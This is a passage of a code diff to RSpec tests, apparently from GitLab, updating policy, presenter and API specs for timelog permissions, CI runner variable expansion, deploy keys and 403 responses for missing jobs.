@@ -511,7 +511,7 @@ RSpec.describe ProjectPolicy do
project.add_maintainer(project_bot)
end
- it { is_expected.not_to be_allowed(:admin_resource_access_tokens)}
+ it { is_expected.not_to be_allowed(:create_resource_access_tokens)}
end
end
@@ -1353,4 +1353,54 @@ RSpec.describe ProjectPolicy do
end
end
end
+
+ context 'timelogs' do
+ context 'with admin' do
+ let(:current_user) { admin }
+
+ context 'when admin mode enabled', :enable_admin_mode do
+ it { is_expected.to be_allowed(:read_group_timelogs) }
+ end
+
+ context 'when admin mode disabled' do
+ it { is_expected.to be_disallowed(:read_group_timelogs) }
+ end
+ end
+
+ context 'with owner' do
+ let(:current_user) { owner }
+
+ it { is_expected.to be_allowed(:read_group_timelogs) }
+ end
+
+ context 'with maintainer' do
+ let(:current_user) { maintainer }
+
+ it { is_expected.to be_allowed(:read_group_timelogs) }
+ end
+
+ context 'with reporter' do
+ let(:current_user) { reporter }
+
+ it { is_expected.to be_allowed(:read_group_timelogs) }
+ end
+
+ context 'with guest' do
+ let(:current_user) { guest }
+
+ it { is_expected.to be_disallowed(:read_group_timelogs) }
+ end
+
+ context 'with non member' do
+ let(:current_user) { non_member }
+
+ it { is_expected.to be_disallowed(:read_group_timelogs) }
+ end
+
+ context 'with anonymous' do
+ let(:current_user) { anonymous }
+
+ it { is_expected.to be_disallowed(:read_group_timelogs) }
+ end
+ end
end
diff --git a/spec/policies/project_snippet_policy_spec.rb b/spec/policies/project_snippet_policy_spec.rb
index bdf9eaedbf1..8b96aa99f69 100644
--- a/spec/policies/project_snippet_policy_spec.rb
+++ b/spec/policies/project_snippet_policy_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe ProjectSnippetPolicy do
let_it_be(:other_user) { create(:user) }
let_it_be(:external_user) { create(:user, :external) }
let_it_be(:project) { create(:project, :public) }
+
let(:snippet) { create(:project_snippet, snippet_visibility, project: project, author: author) }
let(:author) { other_user }
let(:author_permissions) do
diff --git a/spec/policies/service_policy_spec.rb b/spec/policies/service_policy_spec.rb
index 5d2c9c1f6c3..84c74ca7e31 100644
--- a/spec/policies/service_policy_spec.rb
+++ b/spec/policies/service_policy_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe ServicePolicy, :models do
let_it_be(:user) { create(:user) }
+
let(:project) { integration.project }
subject(:policy) { Ability.policy_for(user, integration) }
diff --git a/spec/presenters/ci/build_runner_presenter_spec.rb b/spec/presenters/ci/build_runner_presenter_spec.rb
index 1eecc9d1ce6..9cb00781e99 100644
--- a/spec/presenters/ci/build_runner_presenter_spec.rb
+++ b/spec/presenters/ci/build_runner_presenter_spec.rb
@@ -85,7 +85,7 @@ RSpec.describe Ci::BuildRunnerPresenter do
Ci::JobArtifact::DEFAULT_FILE_NAMES.each do |file_type, filename|
context file_type.to_s do
let(:report) { { "#{file_type}": [filename] } }
- let(:build) { create(:ci_build, options: { artifacts: { reports: report } } ) }
+ let(:build) { create(:ci_build, options: { artifacts: { reports: report } }) }
let(:report_expectation) do
{
@@ -106,7 +106,7 @@ RSpec.describe Ci::BuildRunnerPresenter do
context "when option has both archive and reports specification" do
let(:report) { { junit: ['junit.xml'] } }
- let(:build) { create(:ci_build, options: { script: 'echo', artifacts: { **archive, reports: report } } ) }
+ let(:build) { create(:ci_build, options: { script: 'echo', artifacts: { **archive, reports: report } }) }
let(:report_expectation) do
{
@@ -223,7 +223,7 @@ RSpec.describe Ci::BuildRunnerPresenter do
let(:build) { create(:ci_build, ref: pipeline.ref, pipeline: pipeline) }
before do
- pipeline.persistent_ref.create
+ pipeline.persistent_ref.create # rubocop:disable Rails/SaveBang
end
it 'returns the correct refspecs' do
@@ -261,7 +261,7 @@ RSpec.describe Ci::BuildRunnerPresenter do
let(:build) { create(:ci_build, pipeline: pipeline) }
before do
- pipeline.persistent_ref.create
+ pipeline.persistent_ref.create # rubocop:disable Rails/SaveBang
end
it 'exposes the persistent pipeline ref' do
@@ -272,27 +272,82 @@ RSpec.describe Ci::BuildRunnerPresenter do
end
end
- describe '#variables' do
- subject { presenter.variables }
+ describe '#runner_variables' do
+ subject { presenter.runner_variables }
- let(:build) { create(:ci_build) }
+ let_it_be(:project_with_flag_disabled) { create(:project, :repository) }
+ let_it_be(:project_with_flag_enabled) { create(:project, :repository) }
+
+ before do
+ stub_feature_flags(variable_inside_variable: [project_with_flag_enabled])
+ end
+
+ shared_examples 'returns an array with the expected variables' do
+ it 'returns an array' do
+ is_expected.to be_an_instance_of(Array)
+ end
+
+ it 'returns the expected variables' do
+ is_expected.to eq(presenter.variables.to_runner_variables)
+ end
+ end
+
+ context 'when FF :variable_inside_variable is disabled' do
+ let(:sha) { project_with_flag_disabled.repository.commit.sha }
+ let(:pipeline) { create(:ci_pipeline, sha: sha, project: project_with_flag_disabled) }
+ let(:build) { create(:ci_build, pipeline: pipeline) }
+
+ it_behaves_like 'returns an array with the expected variables'
+ end
+
+ context 'when FF :variable_inside_variable is enabled' do
+ let(:sha) { project_with_flag_enabled.repository.commit.sha }
+ let(:pipeline) { create(:ci_pipeline, sha: sha, project: project_with_flag_enabled) }
+ let(:build) { create(:ci_build, pipeline: pipeline) }
- it 'returns a Collection' do
- is_expected.to be_an_instance_of(Gitlab::Ci::Variables::Collection)
+ it_behaves_like 'returns an array with the expected variables'
end
end
- describe '#runner_variables' do
- subject { presenter.runner_variables }
+ describe '#runner_variables subset' do
+ subject { presenter.runner_variables.select { |v| %w[A B C].include?(v.fetch(:key)) } }
let(:build) { create(:ci_build) }
- it 'returns an array' do
- is_expected.to be_an_instance_of(Array)
- end
+ context 'with references in pipeline variables' do
+ before do
+ create(:ci_pipeline_variable, key: 'A', value: 'refA-$B', pipeline: build.pipeline)
+ create(:ci_pipeline_variable, key: 'B', value: 'refB-$C-$D', pipeline: build.pipeline)
+ create(:ci_pipeline_variable, key: 'C', value: 'value', pipeline: build.pipeline)
+ end
+
+ context 'when FF :variable_inside_variable is disabled' do
+ before do
+ stub_feature_flags(variable_inside_variable: false)
+ end
- it 'returns the expected variables' do
- is_expected.to eq(presenter.variables.to_runner_variables)
+ it 'returns non-expanded variables' do
+ is_expected.to eq [
+ { key: 'A', value: 'refA-$B', public: false, masked: false },
+ { key: 'B', value: 'refB-$C-$D', public: false, masked: false },
+ { key: 'C', value: 'value', public: false, masked: false }
+ ]
+ end
+ end
+
+ context 'when FF :variable_inside_variable is enabled' do
+ before do
+ stub_feature_flags(variable_inside_variable: [build.project])
+ end
+
+ it 'returns expanded and sorted variables' do
+ is_expected.to eq [
+ { key: 'C', value: 'value', public: false, masked: false },
+ { key: 'B', value: 'refB-value-$D', public: false, masked: false },
+ { key: 'A', value: 'refA-refB-value-$D', public: false, masked: false }
+ ]
+ end
+ end
end
end
end
diff --git a/spec/presenters/ci/trigger_presenter_spec.rb b/spec/presenters/ci/trigger_presenter_spec.rb
index bac1c94e0b7..b86684707b9 100644
--- a/spec/presenters/ci/trigger_presenter_spec.rb
+++ b/spec/presenters/ci/trigger_presenter_spec.rb
@@ -35,7 +35,7 @@ RSpec.describe Ci::TriggerPresenter do
context 'when user is a trigger owner and builds admin' do
before do
- trigger.update(owner: user)
+ trigger.update!(owner: user)
end
describe '#token' do
diff --git a/spec/presenters/clusters/cluster_presenter_spec.rb b/spec/presenters/clusters/cluster_presenter_spec.rb
index 2d38c91499a..2e8364b2987 100644
--- a/spec/presenters/clusters/cluster_presenter_spec.rb
+++ b/spec/presenters/clusters/cluster_presenter_spec.rb
@@ -347,7 +347,7 @@ RSpec.describe Clusters::ClusterPresenter do
before do
project.add_maintainer(user)
- stub_feature_flags(user_mode_in_session: false)
+ stub_application_setting(admin_mode: false)
end
context 'user can read logs' do
@@ -363,7 +363,7 @@ RSpec.describe Clusters::ClusterPresenter do
before do
project.add_developer(user)
- stub_feature_flags(user_mode_in_session: false)
+ stub_application_setting(admin_mode: false)
end
it 'returns nil' do
diff --git a/spec/presenters/packages/composer/packages_presenter_spec.rb b/spec/presenters/packages/composer/packages_presenter_spec.rb
index d0e3b68fc9f..c1d8c9816a6 100644
--- a/spec/presenters/packages/composer/packages_presenter_spec.rb
+++ b/spec/presenters/packages/composer/packages_presenter_spec.rb
@@ -9,8 +9,8 @@ RSpec.describe ::Packages::Composer::PackagesPresenter do
let_it_be(:json) { { 'name' => package_name } }
let_it_be(:group) { create(:group) }
let_it_be(:project) { create(:project, :custom_repo, files: { 'composer.json' => json.to_json }, group: group) }
- let_it_be(:package1) { create(:composer_package, :with_metadatum, project: project, name: package_name, version: '1.0.0', json: json) }
- let_it_be(:package2) { create(:composer_package, :with_metadatum, project: project, name: package_name, version: '2.0.0', json: json) }
+ let!(:package1) { create(:composer_package, :with_metadatum, project: project, name: package_name, version: '1.0.0', json: json) }
+ let!(:package2) { create(:composer_package, :with_metadatum, project: project, name: package_name, version: '2.0.0', json: json) }
let(:branch) { project.repository.find_branch('master') }
@@ -29,6 +29,11 @@ RSpec.describe ::Packages::Composer::PackagesPresenter do
'type' => 'zip',
'url' => "http://localhost/api/v4/projects/#{project.id}/packages/composer/archives/#{package.name}.zip?sha=#{branch.target}"
},
+ 'source' => {
+ 'reference' => branch.target,
+ 'type' => 'git',
+ 'url' => "http://localhost/#{group.path}/#{project.path}.git"
+ },
'name' => package.name,
'uid' => package.id,
'version' => package.version
diff --git a/spec/presenters/packages/conan/package_presenter_spec.rb b/spec/presenters/packages/conan/package_presenter_spec.rb
index 4e8af752f3e..dad9460c8eb 100644
--- a/spec/presenters/packages/conan/package_presenter_spec.rb
+++ b/spec/presenters/packages/conan/package_presenter_spec.rb
@@ -146,7 +146,7 @@ RSpec.describe ::Packages::Conan::PackagePresenter do
before do
[info_file, manifest_file, package_file].each do |file|
file.conan_file_metadatum.conan_package_reference = alternative_reference
- file.save
+ file.save!
end
end
diff --git a/spec/presenters/packages/detail/package_presenter_spec.rb b/spec/presenters/packages/detail/package_presenter_spec.rb
index 5e20eed877f..4c3e0228583 100644
--- a/spec/presenters/packages/detail/package_presenter_spec.rb
+++ b/spec/presenters/packages/detail/package_presenter_spec.rb
@@ -31,7 +31,6 @@ RSpec.describe ::Packages::Detail::PackagePresenter do
id: pipeline.id,
sha: pipeline.sha,
ref: pipeline.ref,
- git_commit_message: pipeline.git_commit_message,
user: user_info,
project: {
name: pipeline.project.name,
diff --git a/spec/presenters/project_hook_presenter_spec.rb b/spec/presenters/project_hook_presenter_spec.rb
index 061ec38ae34..2e4bd17bbe1 100644
--- a/spec/presenters/project_hook_presenter_spec.rb
+++ b/spec/presenters/project_hook_presenter_spec.rb
@@ -11,7 +11,7 @@ RSpec.describe ProjectHookPresenter do
subject { web_hook.present.logs_details_path(web_hook_log) }
let(:expected_path) do
- "/#{project.namespace.path}/#{project.name}/hooks/#{web_hook.id}/hook_logs/#{web_hook_log.id}"
+ "/#{project.namespace.path}/#{project.name}/-/hooks/#{web_hook.id}/hook_logs/#{web_hook_log.id}"
end
it { is_expected.to eq(expected_path) }
@@ -21,7 +21,7 @@ RSpec.describe ProjectHookPresenter do
subject { web_hook.present.logs_details_path(web_hook_log) }
let(:expected_path) do
- "/#{project.namespace.path}/#{project.name}/hooks/#{web_hook.id}/hook_logs/#{web_hook_log.id}"
+ "/#{project.namespace.path}/#{project.name}/-/hooks/#{web_hook.id}/hook_logs/#{web_hook_log.id}"
end
it { is_expected.to eq(expected_path) }
diff --git a/spec/presenters/projects/settings/deploy_keys_presenter_spec.rb b/spec/presenters/projects/settings/deploy_keys_presenter_spec.rb
index 7a679a03b53..0d340c5e713 100644
--- a/spec/presenters/projects/settings/deploy_keys_presenter_spec.rb
+++ b/spec/presenters/projects/settings/deploy_keys_presenter_spec.rb
@@ -3,17 +3,58 @@
require 'spec_helper'
RSpec.describe Projects::Settings::DeployKeysPresenter do
- let(:project) { create(:project) }
- let(:user) { create(:user) }
+ let_it_be(:project, refind: true) { create(:project) }
+ let_it_be(:other_project) { create(:project) }
+ let_it_be(:user) { create(:user) }
subject(:presenter) do
described_class.new(project, current_user: user)
end
+ before_all do
+ project.add_maintainer(user)
+ other_project.add_maintainer(user)
+ end
+
it 'inherits from Gitlab::View::Presenter::Simple' do
expect(described_class.superclass).to eq(Gitlab::View::Presenter::Simple)
end
+ describe 'deploy key groups' do
+ let_it_be(:deploy_key) { create(:deploy_key, projects: [project]) }
+ let_it_be(:other_deploy_key) { create(:deploy_key, projects: [other_project]) }
+ let_it_be(:public_deploy_key) { create(:deploy_key, public: true) }
+ let_it_be(:unrelated_project) { create(:project, :private) }
+ let_it_be(:unrelated_deploy_key) { create(:deploy_key, projects: [unrelated_project]) }
+
+ context 'with enabled keys' do
+ it 'returns correct deploy keys' do
+ expect(presenter.enabled_keys).to eq([deploy_key])
+ expect(presenter.enabled_keys_size).to eq(1)
+ end
+ end
+
+ context 'with available keys' do
+ it 'returns correct deploy keys' do
+ expect(presenter.available_keys).to eq([other_deploy_key, public_deploy_key])
+ end
+ end
+
+ context 'with available project keys' do
+ it 'returns correct deploy keys' do
+ expect(presenter.available_project_keys).to eq([other_deploy_key])
+ expect(presenter.available_project_keys_size).to eq(1)
+ end
+ end
+
+ context 'with available public keys' do
+ it 'returns correct deploy keys' do
+ expect(presenter.available_public_keys).to eq([public_deploy_key])
+ expect(presenter.available_public_keys_size).to eq(1)
+ end
+ end
+ end
+
describe '#enabled_keys' do
let!(:deploy_key) { create(:deploy_key, public: true) }
diff --git a/spec/requests/admin/clusters/integrations_controller_spec.rb b/spec/requests/admin/clusters/integrations_controller_spec.rb
new file mode 100644
index 00000000000..ee1c1d5aad4
--- /dev/null
+++ b/spec/requests/admin/clusters/integrations_controller_spec.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Admin::Clusters::IntegrationsController, :enable_admin_mode do
+ include AccessMatchersForController
+
+ shared_examples 'a secure endpoint' do
+ context 'it is allowed for admins only' do
+ it { expect { subject }.to be_allowed_for(:admin) }
+ it { expect { subject }.to be_denied_for(:user) }
+ it { expect { subject }.to be_denied_for(:external) }
+ end
+ end
+
+ describe 'POST create_or_update' do
+ let(:cluster) { create(:cluster, :instance, :provided_by_gcp) }
+ let(:user) { create(:admin) }
+
+ it_behaves_like '#create_or_update action' do
+ let(:path) { create_or_update_admin_cluster_integration_path(cluster) }
+ let(:redirect_path) { admin_cluster_path(cluster, params: { tab: 'integrations' }) }
+ end
+ end
+end
diff --git a/spec/requests/api/api_spec.rb b/spec/requests/api/api_spec.rb
index 522030652bd..b3e425630e5 100644
--- a/spec/requests/api/api_spec.rb
+++ b/spec/requests/api/api_spec.rb
@@ -105,9 +105,9 @@ RSpec.describe API::API do
it 'logs all application context fields' do
allow_any_instance_of(Gitlab::GrapeLogging::Loggers::ContextLogger).to receive(:parameters) do
- Labkit::Context.current.to_h.tap do |log_context|
+ Gitlab::ApplicationContext.current.tap do |log_context|
expect(log_context).to match('correlation_id' => an_instance_of(String),
- 'meta.caller_id' => '/api/:version/projects/:id/issues',
+ 'meta.caller_id' => 'GET /api/:version/projects/:id/issues',
'meta.remote_ip' => an_instance_of(String),
'meta.project' => project.full_path,
'meta.root_namespace' => project.namespace.full_path,
@@ -122,9 +122,9 @@ RSpec.describe API::API do
it 'skips fields that do not apply' do
allow_any_instance_of(Gitlab::GrapeLogging::Loggers::ContextLogger).to receive(:parameters) do
- Labkit::Context.current.to_h.tap do |log_context|
+ Gitlab::ApplicationContext.current.tap do |log_context|
expect(log_context).to match('correlation_id' => an_instance_of(String),
- 'meta.caller_id' => '/api/:version/users',
+ 'meta.caller_id' => 'GET /api/:version/users',
'meta.remote_ip' => an_instance_of(String),
'meta.client_id' => an_instance_of(String),
'meta.feature_category' => 'users')
@@ -141,7 +141,7 @@ RSpec.describe API::API do
let(:component_map) do
{
"application" => "test",
- "endpoint_id" => "/api/:version/users/:id"
+ "endpoint_id" => "GET /api/:version/users/:id"
}
end
diff --git a/spec/requests/api/applications_spec.rb b/spec/requests/api/applications_spec.rb
index ca09f5524ca..959e68e6a0d 100644
--- a/spec/requests/api/applications_spec.rb
+++ b/spec/requests/api/applications_spec.rb
@@ -5,7 +5,7 @@ require 'spec_helper'
RSpec.describe API::Applications, :api do
let(:admin_user) { create(:user, admin: true) }
let(:user) { create(:user, admin: false) }
- let!(:application) { create(:application, name: 'another_application', redirect_uri: 'http://other_application.url', scopes: '') }
+ let!(:application) { create(:application, name: 'another_application', owner: nil, redirect_uri: 'http://other_application.url', scopes: '') }
describe 'POST /applications' do
context 'authenticated and authorized user' do
@@ -143,6 +143,12 @@ RSpec.describe API::Applications, :api do
expect(response).to have_gitlab_http_status(:no_content)
end
+
+ it 'cannot delete non-existing application' do
+ delete api("/applications/#{non_existing_record_id}", admin_user)
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
end
context 'authorized user without authorization' do
diff --git a/spec/requests/api/ci/runner/jobs_artifacts_spec.rb b/spec/requests/api/ci/runner/jobs_artifacts_spec.rb
index 9369b6aa464..017a12a4a40 100644
--- a/spec/requests/api/ci/runner/jobs_artifacts_spec.rb
+++ b/spec/requests/api/ci/runner/jobs_artifacts_spec.rb
@@ -127,7 +127,7 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
authorize_artifacts_with_token_in_params
end
- it_behaves_like 'API::CI::Runner application context metadata', '/api/:version/jobs/:id/artifacts/authorize' do
+ it_behaves_like 'API::CI::Runner application context metadata', 'POST /api/:version/jobs/:id/artifacts/authorize' do
let(:send_request) { subject }
end
@@ -180,6 +180,18 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
it_behaves_like 'authorizes local file'
end
end
+
+ context 'when job does not exist anymore' do
+ before do
+ allow(job).to receive(:id).and_return(non_existing_record_id)
+ end
+
+ it 'returns 403 Forbidden' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
end
end
@@ -262,7 +274,7 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
end
describe 'POST /api/v4/jobs/:id/artifacts' do
- it_behaves_like 'API::CI::Runner application context metadata', '/api/:version/jobs/:id/artifacts' do
+ it_behaves_like 'API::CI::Runner application context metadata', 'POST /api/:version/jobs/:id/artifacts' do
let(:send_request) do
upload_artifacts(file_upload, headers_with_token)
end
@@ -321,6 +333,18 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
end
end
+ context 'when job does not exist anymore' do
+ before do
+ allow(job).to receive(:id).and_return(non_existing_record_id)
+ end
+
+ it 'returns 403 Forbidden' do
+ upload_artifacts(file_upload, headers_with_token)
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+
context 'when job is running' do
shared_examples 'successful artifacts upload' do
it 'updates successfully' do
@@ -784,7 +808,7 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
describe 'GET /api/v4/jobs/:id/artifacts' do
let(:token) { job.token }
- it_behaves_like 'API::CI::Runner application context metadata', '/api/:version/jobs/:id/artifacts' do
+ it_behaves_like 'API::CI::Runner application context metadata', 'GET /api/:version/jobs/:id/artifacts' do
let(:send_request) { download_artifact }
end
@@ -867,6 +891,18 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
end
end
+ context 'when job does not exist anymore' do
+ before do
+ allow(job).to receive(:id).and_return(non_existing_record_id)
+ end
+
+ it 'responds with 403 Forbidden' do
+ get api("/jobs/#{job.id}/artifacts"), params: { token: token }, headers: headers
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+
def download_artifact(params = {}, request_headers = headers)
params = params.merge(token: token)
job.reload
diff --git a/spec/requests/api/ci/runner/jobs_put_spec.rb b/spec/requests/api/ci/runner/jobs_put_spec.rb
index b5d2c4608c5..3d5021fba08 100644
--- a/spec/requests/api/ci/runner/jobs_put_spec.rb
+++ b/spec/requests/api/ci/runner/jobs_put_spec.rb
@@ -36,7 +36,7 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
job.run!
end
- it_behaves_like 'API::CI::Runner application context metadata', '/api/:version/jobs/:id' do
+ it_behaves_like 'API::CI::Runner application context metadata', 'PUT /api/:version/jobs/:id' do
let(:send_request) { update_job(state: 'success') }
end
@@ -278,14 +278,22 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
end
end
- def update_job(token = job.token, **params)
+ context 'when job does not exist anymore' do
+ it 'returns 403 Forbidden' do
+ update_job(non_existing_record_id, state: 'success', trace: 'BUILD TRACE UPDATED')
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+
+ def update_job(job_id = job.id, token = job.token, **params)
new_params = params.merge(token: token)
- put api("/jobs/#{job.id}"), params: new_params
+ put api("/jobs/#{job_id}"), params: new_params
end
def update_job_after_time(update_interval = 20.minutes, state = 'running')
travel_to(job.updated_at + update_interval) do
- update_job(job.token, state: state)
+ update_job(job.id, job.token, state: state)
end
end
end
diff --git a/spec/requests/api/ci/runner/jobs_request_post_spec.rb b/spec/requests/api/ci/runner/jobs_request_post_spec.rb
index aced094e219..cf0d8a632f1 100644
--- a/spec/requests/api/ci/runner/jobs_request_post_spec.rb
+++ b/spec/requests/api/ci/runner/jobs_request_post_spec.rb
@@ -143,7 +143,8 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
context 'when there is a pending job' do
let(:expected_job_info) do
- { 'name' => job.name,
+ { 'id' => job.id,
+ 'name' => job.name,
'stage' => job.stage,
'project_id' => job.project.id,
'project_name' => job.project.name }
@@ -490,6 +491,36 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
{ 'id' => job.id, 'name' => job.name, 'token' => job.token },
{ 'id' => job2.id, 'name' => job2.name, 'token' => job2.token })
end
+
+ describe 'preloading job_artifacts_archive' do
+ context 'when the feature flag is disabled' do
+ before do
+ stub_feature_flags(preload_associations_jobs_request_api_endpoint: false)
+ end
+
+ it 'queries the ci_job_artifacts table multiple times' do
+ expect { request_job }.to exceed_all_query_limit(1).for_model(::Ci::JobArtifact)
+ end
+
+ it 'queries the ci_builds table more than five times' do
+ expect { request_job }.to exceed_all_query_limit(5).for_model(::Ci::Build)
+ end
+ end
+
+ context 'when the feature flag is enabled' do
+ before do
+ stub_feature_flags(preload_associations_jobs_request_api_endpoint: true)
+ end
+
+ it 'queries the ci_job_artifacts table once only' do
+ expect { request_job }.not_to exceed_all_query_limit(1).for_model(::Ci::JobArtifact)
+ end
+
+ it 'queries the ci_builds table five times' do
+ expect { request_job }.not_to exceed_all_query_limit(5).for_model(::Ci::Build)
+ end
+ end
+ end
end
context 'when pipeline have jobs with artifacts' do
diff --git a/spec/requests/api/ci/runner/jobs_trace_spec.rb b/spec/requests/api/ci/runner/jobs_trace_spec.rb
index 659cf055023..e077a174b08 100644
--- a/spec/requests/api/ci/runner/jobs_trace_spec.rb
+++ b/spec/requests/api/ci/runner/jobs_trace_spec.rb
@@ -41,7 +41,7 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
initial_patch_the_trace
end
- it_behaves_like 'API::CI::Runner application context metadata', '/api/:version/jobs/:id/trace' do
+ it_behaves_like 'API::CI::Runner application context metadata', 'PATCH /api/:version/jobs/:id/trace' do
let(:send_request) { patch_the_trace }
end
@@ -210,15 +210,23 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
end
context 'when build trace is not being watched' do
- it 'returns X-GitLab-Trace-Update-Interval as 30' do
+ it 'returns the interval in X-GitLab-Trace-Update-Interval' do
patch_the_trace
expect(response).to have_gitlab_http_status(:accepted)
- expect(response.header['X-GitLab-Trace-Update-Interval']).to eq('30')
+ expect(response.header['X-GitLab-Trace-Update-Interval']).to eq('60')
end
end
end
+ context 'when job does not exist anymore' do
+ it 'returns 403 Forbidden' do
+ patch_the_trace(job_id: non_existing_record_id)
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+
context 'when Runner makes a force-patch' do
before do
force_patch_the_trace
@@ -264,7 +272,7 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
it { expect(response).to have_gitlab_http_status(:forbidden) }
end
- def patch_the_trace(content = ' appended', request_headers = nil)
+ def patch_the_trace(content = ' appended', request_headers = nil, job_id: job.id)
unless request_headers
job.trace.read do |stream|
offset = stream.size
@@ -274,7 +282,7 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
end
Timecop.travel(job.updated_at + update_interval) do
- patch api("/jobs/#{job.id}/trace"), params: content, headers: request_headers
+ patch api("/jobs/#{job_id}/trace"), params: content, headers: request_headers
job.reload
end
end
diff --git a/spec/requests/api/commit_statuses_spec.rb b/spec/requests/api/commit_statuses_spec.rb
index 10fa15d468f..ac125e81acd 100644
--- a/spec/requests/api/commit_statuses_spec.rb
+++ b/spec/requests/api/commit_statuses_spec.rb
@@ -14,8 +14,8 @@ RSpec.describe API::CommitStatuses do
let(:get_url) { "/projects/#{project.id}/repository/commits/#{sha}/statuses" }
context 'ci commit exists' do
- let!(:master) { project.ci_pipelines.create(source: :push, sha: commit.id, ref: 'master', protected: false) }
- let!(:develop) { project.ci_pipelines.create(source: :push, sha: commit.id, ref: 'develop', protected: false) }
+ let!(:master) { project.ci_pipelines.create!(source: :push, sha: commit.id, ref: 'master', protected: false) }
+ let!(:develop) { project.ci_pipelines.create!(source: :push, sha: commit.id, ref: 'develop', protected: false) }
context "reporter user" do
let(:statuses_id) { json_response.map { |status| status['id'] } }
@@ -270,8 +270,8 @@ RSpec.describe API::CommitStatuses do
end
context 'when a pipeline id is specified' do
- let!(:first_pipeline) { project.ci_pipelines.create(source: :push, sha: commit.id, ref: 'master', status: 'created') }
- let!(:other_pipeline) { project.ci_pipelines.create(source: :push, sha: commit.id, ref: 'master', status: 'created') }
+ let!(:first_pipeline) { project.ci_pipelines.create!(source: :push, sha: commit.id, ref: 'master', status: 'created') }
+ let!(:other_pipeline) { project.ci_pipelines.create!(source: :push, sha: commit.id, ref: 'master', status: 'created') }
subject do
post api(post_url, developer), params: {
diff --git a/spec/requests/api/commits_spec.rb b/spec/requests/api/commits_spec.rb
index de2cfb8fea0..ac3aa808f37 100644
--- a/spec/requests/api/commits_spec.rb
+++ b/spec/requests/api/commits_spec.rb
@@ -1439,6 +1439,22 @@ RSpec.describe API::Commits do
it_behaves_like 'ref comments'
end
end
+
+ context 'multiple notes' do
+ let!(:note) { create(:diff_note_on_commit, project: project) }
+ let(:commit) { note.commit }
+ let(:commit_id) { note.commit_id }
+
+ it 'are returned without N + 1' do
+ get api(route, current_user) # warm up the cache
+
+ control_count = ActiveRecord::QueryRecorder.new { get api(route, current_user) }.count
+
+ create(:diff_note_on_commit, project: project, author: create(:user))
+
+ expect { get api(route, current_user) }.not_to exceed_query_limit(control_count)
+ end
+ end
end
context 'when the commit is present on two projects' do
@@ -1898,8 +1914,12 @@ RSpec.describe API::Commits do
let(:merged_mr) { create(:merge_request, source_project: project, source_branch: 'master', target_branch: 'feature') }
let(:commit) { merged_mr.merge_request_diff.commits.last }
- it 'returns the correct merge request' do
+ def perform_request(user)
get api("/projects/#{project.id}/repository/commits/#{commit.id}/merge_requests", user)
+ end
+
+ it 'returns the correct merge request' do
+ perform_request(user)
expect(response).to have_gitlab_http_status(:ok)
expect(response).to include_limited_pagination_headers
@@ -1910,7 +1930,7 @@ RSpec.describe API::Commits do
it 'returns 403 for an unauthorized user' do
project.add_guest(user)
- get api("/projects/#{project.id}/repository/commits/#{commit.id}/merge_requests", user)
+ perform_request(user)
expect(response).to have_gitlab_http_status(:forbidden)
end
@@ -1926,11 +1946,21 @@ RSpec.describe API::Commits do
let(:non_member) { create(:user) }
it 'responds 403 when only members are allowed to read merge requests' do
- get api("/projects/#{project.id}/repository/commits/#{commit.id}/merge_requests", non_member)
+ perform_request(non_member)
expect(response).to have_gitlab_http_status(:forbidden)
end
end
+
+ it 'returns multiple merge requests without N + 1' do
+ perform_request(user)
+
+ control_count = ActiveRecord::QueryRecorder.new { perform_request(user) }.count
+
+ create(:merge_request, :closed, source_project: project, source_branch: 'master', target_branch: 'feature')
+
+ expect { perform_request(user) }.not_to exceed_query_limit(control_count)
+ end
end
describe 'GET /projects/:id/repository/commits/:sha/signature' do
diff --git a/spec/requests/api/composer_packages_spec.rb b/spec/requests/api/composer_packages_spec.rb
index 30a831d24fd..0ff88cb41a8 100644
--- a/spec/requests/api/composer_packages_spec.rb
+++ b/spec/requests/api/composer_packages_spec.rb
@@ -434,6 +434,7 @@ RSpec.describe API::ComposerPackages do
end
it_behaves_like 'process Composer api request', params[:user_role], params[:expected_status], params[:member]
+ it_behaves_like 'a package tracking event', described_class.name, 'pull_package'
end
end
end
diff --git a/spec/requests/api/conan_project_packages_spec.rb b/spec/requests/api/conan_project_packages_spec.rb
index fefaf9790b1..da054ed2e96 100644
--- a/spec/requests/api/conan_project_packages_spec.rb
+++ b/spec/requests/api/conan_project_packages_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-RSpec.describe API::ConanProjectPackages do
+RSpec.describe API::ConanProjectPackages, quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/326194' do
include_context 'conan api setup'
let(:project_id) { project.id }
diff --git a/spec/requests/api/deploy_keys_spec.rb b/spec/requests/api/deploy_keys_spec.rb
index 591d994fec9..a01c66a311c 100644
--- a/spec/requests/api/deploy_keys_spec.rb
+++ b/spec/requests/api/deploy_keys_spec.rb
@@ -3,12 +3,13 @@
require 'spec_helper'
RSpec.describe API::DeployKeys do
- let(:user) { create(:user) }
- let(:maintainer) { create(:user) }
- let(:admin) { create(:admin) }
- let(:project) { create(:project, creator_id: user.id) }
